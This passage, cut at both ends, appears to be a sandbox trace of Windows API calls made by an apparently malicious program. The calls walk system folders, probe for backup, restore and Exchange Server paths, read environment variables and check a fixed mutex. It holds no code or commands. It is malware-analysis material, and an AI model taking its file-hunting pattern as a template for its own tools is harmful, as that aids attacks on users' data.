files\\microsoft shared\\ink\\de-de\\") returned 0x39 [0045.947] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0045.947] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0045.947] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⇜R䱠@봬R企@\x18?T\x18\x88")) returned 0xffffffff [0045.947] GetLastError () returned 0x2 [0045.947] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\de-de\\") returned 0x39 [0045.947] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0045.947] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0045.947] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⇜R䱠@Q企@\x18?T\x18\x8f")) returned 0xffffffff [0045.947] GetLastError () returned 0x2 [0045.947] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\de-de\\") returned 0x39 [0045.948] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⇜R䱠@븄R企@\x18?T\x18\x97")) returned 0xffffffff [0045.948] GetLastError () returned 0x2 [0045.948] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\de-de\\") returned 0x39 [0045.948] GlobalLock (hMem=0x440004) returned 0x551178 [0045.948] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.948] GlobalUnlock (hMem=0x440004) returned 0 [0045.948] GlobalLock (hMem=0x440004) returned 0x551178 [0045.948] GlobalLock (hMem=0x44000c) returned 0x553188 [0045.948] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.948] GlobalUnlock (hMem=0x440004) returned 0 [0045.948] GlobalHandle (pMem=0x553188) returned 0x44000c [0045.948] GlobalUnlock (hMem=0x44000c) returned 0 [0045.948] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\de-de\\") returned 0x39 [0045.948] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0045.948] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\de-de\\") returned 0x39 [0045.948] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0045.949] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\de-de\\") returned 0x39 [0045.949] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0045.949] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\de-de\\") returned 0x39 [0045.949] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0045.949] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.949] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.949] GlobalUnlock (hMem=0x44000c) returned 0 [0045.949] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.949] GlobalLock (hMem=0x440004) returned 0x553188 [0045.949] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.949] GlobalUnlock (hMem=0x44000c) returned 0 [0045.949] GlobalHandle (pMem=0x553188) returned 0x440004 [0045.949] GlobalUnlock (hMem=0x440004) returned 0 [0045.949] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\de-de\\") returned 0x39 [0045.949] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\de-de\\") returned 0x39 [0045.949] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\de-de\\") returned 0x39 [0045.950] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\de-de\\") returned 0x39 [0045.950] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\de-de\\") returned 0x39 [0045.950] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\de-de\\") returned 0x39 [0045.950] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\de-de\\") returned 0x39 [0045.950] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\de-de\\") returned 0x39 [0045.950] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\de-de\\") returned 0x39 [0045.950] GlobalLock (hMem=0x440004) returned 0x551178 [0045.950] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.950] GlobalUnlock (hMem=0x440004) returned 0 [0045.950] GlobalLock (hMem=0x440004) returned 0x551178 [0045.950] GlobalLock (hMem=0x44000c) returned 0x553188 [0045.951] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.951] GlobalUnlock (hMem=0x440004) returned 0 [0045.951] GlobalHandle (pMem=0x553188) returned 0x44000c [0045.951] GlobalUnlock (hMem=0x44000c) returned 0 [0045.951] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0045.951] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.951] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0045.951] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0045.951] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0045.951] GlobalLock (hMem=0x44000c) returned 0x552180 [0045.951] GlobalHandle (pMem=0x552180) returned 0x44000c [0045.951] GlobalUnlock (hMem=0x44000c) returned 0 [0045.951] GlobalLock (hMem=0x44000c) returned 0x552180 [0045.951] GlobalLock (hMem=0x440004) returned 0x554190 [0045.951] GlobalHandle (pMem=0x552180) returned 0x44000c [0045.951] GlobalUnlock (hMem=0x44000c) returned 0 [0045.951] GlobalHandle (pMem=0x554190) returned 0x440004 [0045.951] GlobalUnlock (hMem=0x440004) returned 0 [0045.951] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.951] CharLowerBuffW (in: lpsz="tipresx.dll.mui", cchLength=0xf | out: lpsz="tipresx.dll.mui") returned 0xf [0045.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.952] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.952] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.952] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.952] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.952] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.952] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.952] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.952] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.952] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.952] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui", cchWideChar=72, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.muir", lpUsedDefaultChar=0x0) returned 72 [0045.952] CharLowerBuffW (in: lpsz=".mui", cchLength=0x4 | out: lpsz=".mui") returned 0x4 [0045.952] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".mui", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".muiShared\\ink\\de-DE\\tipresx.dll.muir", lpUsedDefaultChar=0x0) returned 4 [0045.952] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0045.952] GetLastError () returned 0x12 [0045.952] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0045.952] GlobalLock (hMem=0x440004) returned 0x551178 [0045.952] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.952] GlobalUnlock (hMem=0x440004) returned 0 [0045.952] GlobalLock (hMem=0x440004) returned 0x551178 [0045.952] GlobalLock (hMem=0x44000c) returned 0x553188 [0045.952] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.952] GlobalUnlock (hMem=0x440004) returned 0 [0045.952] GlobalHandle (pMem=0x553188) returned 0x44000c [0045.952] GlobalUnlock (hMem=0x44000c) returned 0 [0045.952] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0045.953] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0045.953] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0045.953] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.953] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.953] GlobalUnlock (hMem=0x44000c) returned 0 [0045.953] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.953] GlobalLock (hMem=0x440004) returned 0x553188 [0045.953] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.953] GlobalUnlock (hMem=0x44000c) returned 0 [0045.953] GlobalHandle (pMem=0x553188) returned 0x440004 [0045.953] GlobalUnlock (hMem=0x440004) returned 0 [0045.953] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.953] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.953] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0045.953] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0045.953] GlobalLock (hMem=0x440004) returned 0x552180 [0045.953] GlobalHandle (pMem=0x552180) returned 0x440004 [0045.953] GlobalUnlock (hMem=0x440004) returned 0 [0045.953] GlobalLock (hMem=0x440004) returned 0x552180 [0045.953] GlobalLock (hMem=0x44000c) returned 0x554190 [0045.953] GlobalHandle (pMem=0x552180) returned 0x440004 [0045.953] GlobalUnlock (hMem=0x440004) returned 0 [0045.953] GlobalHandle (pMem=0x554190) returned 0x44000c [0045.953] GlobalUnlock (hMem=0x44000c) returned 0 [0045.953] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.953] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0045.953] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0045.953] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0045.954] GlobalLock (hMem=0x44000c) returned 0x552180 [0045.954] GlobalHandle (pMem=0x552180) returned 0x44000c [0045.954] GlobalUnlock (hMem=0x44000c) returned 0 [0045.954] GlobalLock (hMem=0x44000c) returned 0x552180 [0045.954] GlobalLock (hMem=0x440004) returned 0x554190 [0045.954] GlobalHandle (pMem=0x552180) returned 0x44000c [0045.954] GlobalUnlock (hMem=0x44000c) returned 0 [0045.954] GlobalHandle (pMem=0x554190) returned 0x440004 [0045.954] GlobalUnlock (hMem=0x440004) returned 0 [0045.954] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.954] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0045.954] GetLastError () returned 0x12 [0045.954] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0045.954] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0045.954] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0045.954] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0045.954] GlobalLock (hMem=0x440004) returned 0x551178 [0045.954] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.954] GlobalUnlock (hMem=0x440004) returned 0 [0045.954] GlobalLock (hMem=0x440004) returned 0x551178 [0045.954] GlobalLock (hMem=0x44000c) returned 0x553188 [0045.954] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.954] GlobalUnlock (hMem=0x440004) returned 0 [0045.954] GlobalHandle (pMem=0x553188) returned 0x44000c [0045.954] GlobalUnlock (hMem=0x44000c) returned 0 [0045.954] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.955] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.955] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.955] GlobalUnlock (hMem=0x44000c) returned 0 [0045.955] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.955] GlobalLock (hMem=0x440004) returned 0x553188 [0045.955] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.955] GlobalUnlock (hMem=0x44000c) returned 0 [0045.955] GlobalHandle (pMem=0x553188) returned 0x440004 [0045.955] GlobalUnlock (hMem=0x440004) returned 0 [0045.955] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.955] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR", len=0x38 | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR") returned 1 [0045.955] GlobalLock (hMem=0x440004) returned 0x551178 [0045.955] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.955] GlobalUnlock (hMem=0x440004) returned 0 [0045.955] GlobalLock (hMem=0x440004) returned 0x551178 [0045.955] GlobalLock (hMem=0x44000c) returned 0x553188 [0045.955] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.955] GlobalUnlock (hMem=0x440004) returned 0 [0045.955] GlobalHandle (pMem=0x553188) returned 0x44000c [0045.955] GlobalUnlock (hMem=0x44000c) returned 0 [0045.955] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 26 [0045.955] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@ꟂRꞖR企@\x18㽜Q\x18\x1b")) returned 0xffffffff [0045.956] GetLastError () returned 0x3 [0045.956] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft 